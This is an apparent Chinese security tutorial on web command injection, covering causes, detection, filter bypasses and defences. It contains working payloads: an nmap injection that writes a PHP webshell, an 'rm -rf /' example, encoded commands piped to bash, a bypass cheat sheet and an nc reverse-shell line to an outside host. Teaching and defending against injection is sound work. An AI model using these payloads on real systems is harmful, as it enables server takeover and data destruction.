Web漏洞——命令注入漏洞学习
一、什么是命令注入漏洞
想象一下,你家有一个智能管家机器人。这个机器人可以通过你发出的指令来完成各种任务,比如“请打开电视机、播放音乐、开灯等等”。你只需要对它说:“请打开电视”,它就会去执行这个任务。但是,这个机器人有一个问题,它对你说的话深信不疑,不会去判断这句话是否合理。于是,有一天,一个不怀好意的陌生人走进了你的家,冒充了你的身份,对机器人说:“打开电视,同时把保险柜的密码告诉我”。由于机器人不会去判断这条指令是否合理(亦或者是陌生人加以一定的引导),它会同时执行这两个任务,导致你的保险柜密码被泄露。
命令注入漏洞就是指:系统在接收到用户输入后,没有经过充分的验证和过滤,并不区分哪些指令是安全的,哪些是恶意的,直接传递给底层命令执行环境,从而导致攻击者能够插入恶意命令并执行。
简单再举一个例子,下面是一个简单的扫描IP的网站
很明显这里是输入一段IP进行扫描,正常输入127.0.0.1试试
发现此时可以通过nmap扫描出一些信息。网站看起来很正常,只要输入IP地址就会得到相关的信息。但若是开发者未对用户的输入做严谨的过滤的话,用户(攻击者)就可以通过精心构造的语句,拼接到输入框中进行命令执行,比如这里,如果输入
host=127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG hack2.phtml '
这里利用的就是nmap -oG 参数的作用将一句话木马写入文件,从而使得攻击者可以连接上该网站的shell,造成危害。
二、命令注入的成因
其实从上面的例子中也能看出来,在开发某些需求性网站时,需要引入系统本地命令来完成某些功能。而对于用户的输入,系统未做严格的过滤,导致攻击者可以使用精心构造的攻击语句来进行注入从而接管服务器的控制权限,比如下面的开发代码:
<?php
if(isset($_POST['domain'])){
$domain=$_POST['domain'];
$output=shell_exec("nslookup".$domain);
echo "output";
}
?>
在这个示例中,应用程序从用户输入中获取域名,并将其直接传递给nslookup命令,而未作任何的过滤。此时,如果用户输入的是恶意命令例如example.com;rm -rf / 就成为了
nslookup example.com; rm -rf/
系统将执行nslookup example.com 和 rm -rf / 后者将删除系统的根目录,造成严重破坏。
回顾一下上面造成命令注入的原因,首先是未作严格的过滤,这是肯定的;除此之外,shell_exec也间接导致了命令注入。某些API(如exec shell_exec system)在执行系统命令时,不会对输入进行自动处理,从而导致命令注入漏洞。
命令注入的成因如下:
1.对用户的输入过滤的不彻底
即使开发者对一些特殊字符(如 ; | &&)做了过滤,但这些过滤是不完整的,可能会遗漏一些特殊的字符,比如 \n $() ` || ;并且由于windows和linux的命令语法不同,可能也会因未针对多平台适配,导致防护失败。
2.信任外部数据源
domain=get_domain_from_db()
os.system(f"nslokup{domain}")
即使数据来自数据库、文件或第三方接口,若也未经验证直接拼接到命令中,仍可能触发注入。类似二次注入
二次注入是一种特殊且较为隐蔽的注入攻击方式,它通常发生在用户输入的数据先被存储到数据库等存储系统中,之后在其他操作时这些数据被取出并使用,由于未进行恰当处理而引发注入漏洞。
3. 使用危险函数或API
对于直接调用系统命令函数,如PHP中的exec() system() ;Python中的os.system();Node.js中的child_process.exec() 等函数
4.权限配置不当
如果应用程序的权限过高,注入的命令也会更具危险性
三、命令注入漏洞的利用
先说利用再谈如何防御。我以为漏洞利用分为三个阶段,分别是:“找到” “绕过” “利用”
1.命令注入漏洞的检测(找到)
当进入一个网页时,就要将关注点放在各种功能点上。尝试各个可以输入的地方,可能调用了系统函数的地方,说不定这些功能点就含有命令注入。具体检测功能如下:
(1)常见的管道符
windows系统支持的管道符
| 连接符:原本来说,| 用于将前一条命令的输出作为后一条命令的输入,而非直接执行多个命令。但是,这里举个例子: ping 127.0.0.1 | whoami
按理来说执行 ping 127.0.0.1 这个操作会有输出,应该是作为 whoami 的输入的,但是whoami并不接受任何输入,它只是简单地返回当前登录用户的名称并输出。所以就导致了ping 127.0.0.1 的输出不会被whoami利用,显示的只有whoami的信息。
|| 连接符:如果前面的命令是错误的就执行后面的语句,否则只执行前面的语句
123 || whoami 只执行whoami
ping 127.0.0.1 || whoami 只执行 ping 127.0.0.1
& 连接符:&前面和后面的命令都会执行,无论前面是否为真
&& 连接符:如果前面为假,后面的命令也不执行;如果前面为真则执行两条命令
ping 123 && whoami 什么都不执行
ping 127.0.0.1 && whoai 执行完127.0.0.1 后去执行whoai,但此时出错
Linux 支持的管道符
和windows一样,| || & && 用法都一样,但是多了一个分号 ; 具体用法也和&差不多
2.系统过滤的绕过(绕过)
一般来说,多多少少都会在输入处加一些过滤。比如正则匹配,特殊字符过滤等。下面是一些绕过的手法
(a)过滤了空格:
${IFS} $IFS$9cat${IFS}flag.txt
重定向符 <>
cat<>flag.txt
cat<flag.txt
%09(需要在php环境下)
(b)黑名单绕过
可以采用拼接的方式
a=c;b=at;c=fl;d=ag;$a$b $c$d.txt # cat flag.txt
采用base64编码的形式绕过
echo Y2F0IC9mbGFn|base64 -d|bash 就是执行 cat /flag
hex编码绕过
echo "0x636174202f666c6167" | xxd -r -p|bash 也是执行cat /flag
xxd是一个命令行工具,用于十六进制和二进制数据的转换
同样也包括oct编码绕过
$(printf "\154\163") --> ls
用单引号双引号绕过
ca""t fla''g.txt
使用反斜线绕过
ca\t fl\ag.txt
通配符绕过
[...]表示匹配方括号之中的任意一个字符。如 cat t[a-z]st
{...}表示匹配大括号里面的所有模式,模式之间用逗号分隔。如 cat t{a,b,c,d,e}st
但在这里,我们一般用{...},原因是当匹配的文件不存在时,[...]会失去cat的功能,而{...}依然可以展开
URL编码取反绕过
现在有一个phpinfo,将其进行取反再进行URL编码:%8F%97%8F%96%91%99%90
这时如果我们输入的是(~'%8F%97%8F%96%91%99%90') 服务器会先把它进行URL翻译,但此时的这时的%8F%97%8F%96%91%99%90是不具备真实含义的,就形成了可以绕过黑名单的“特殊字符”,再经过求反回到phpinfo
异或编码绕过
当过滤了所有的英文字母和数字时,ASCII码中还有很多出来字母数字之外的字符。用这些字符进行异或可以得到想要的字符。比如 A 就可以通过 ?和~ 字符进行异或得到。
(c)参数长度绕过
有一些过滤会有长度限制,下面是绕过方法:
使用多参数绕过
如果只是对code有长度限制,比如我要输入system("cat flag"); 可以写成
?code=param2(param3)¶m2=system¶m3=cat flag
利用Linux中的>符号和>>符号,并且通过\可以将一条命令写在多行
echo "ca\\" >>cmd
echo "t\\">>cmd
echo "fl\\">>cmd
echo "ag">>cmd
cat cmd
利用ls -t 和 > 以及换行符绕过
使用 ls -t 命令,可以将文件名按照时间顺序排列出来。linux下可以用 1>a 创建名为a的空文件 ls -t>test 则会将目录按时间排序后写进test文件中,sh命令可以从一个文件中读取命令来执行。这样就可能导致这样的问题:
如果我先通过 > 操作符,创建出了: 'ca\' 't \' 'fl\' 'ag' 文件。然后再使用 ls -t >a 命令
通过时间排序就会形成 cat /flag ,然后这个执行结果写入a文件中,再用sh来读取命令来执行,从而绕过长度检查。
3.命令注入的利用(利用)
当我们能够成功执行一些命令之后,就要想如何getshell了。可以通过一句话木马或者反弹shell的形式,在目录中注入,比较常见的形式有:
assert(eval($_POST['cmd']))
assert($_POST['cmd'])
nc 192.xxx.xxx.x port -e /bin/bash 等
四、防护命令注入攻击
根据前面的经验,直接写防护手段
1、使用白名单
严格要求用户的输入,仅允许用户输入符合特定格式的输入。
2.严格的类型检查
强制类型转换,比如将输入转换为整数,布尔值
3.避免直接调用系统命令
能不调用系统命令就不调用。可以用语言内置API替代系统命令,比如:
# 不安全:调用系统命令删除文件
os.system("rm " + filename)
# 安全:使用 Python 内置文件操作
import os
if os.path.exists(filename):
os.remove(filename)
对于文件操作,使用编程语言的File类(如java python)
网络请求:使用requests等替代curl
进程管理:用编程语言的进程库,而非拼接shell命令
4.参数化处理
使用参数化接口(而非字符串拼接)传递命令参数:
// Node.js 示例:使用 child_process.spawn 的参数化调用
const { spawn } = require('child_process');
const ls = spawn('ls', ['-l', user_input]); // 参数以数组形式传递
这样的话, 可以避免拼接字符串直接被命令注入攻击,同时,spawn方法会正确地处理参数,确保输入的内容不会被错误地解释为额外的命令。
5.禁用危险的函数
禁用或者限制高危函数的使用,比如,在PHP中,在php.ini中配置disable_functions
6、最小的权限要求
要求www-data所拥有的权限不大,否则权限越大,所造成的危害就越大
五、总结
对于开发者来说,要有安全的编码习惯,拒绝拼接命令,不要相信用户的输入。
一行不安全的代码,足以摧毁整个系统——永远对系统命令保持敬畏!
有问题的地方请各位斧正,感谢!!!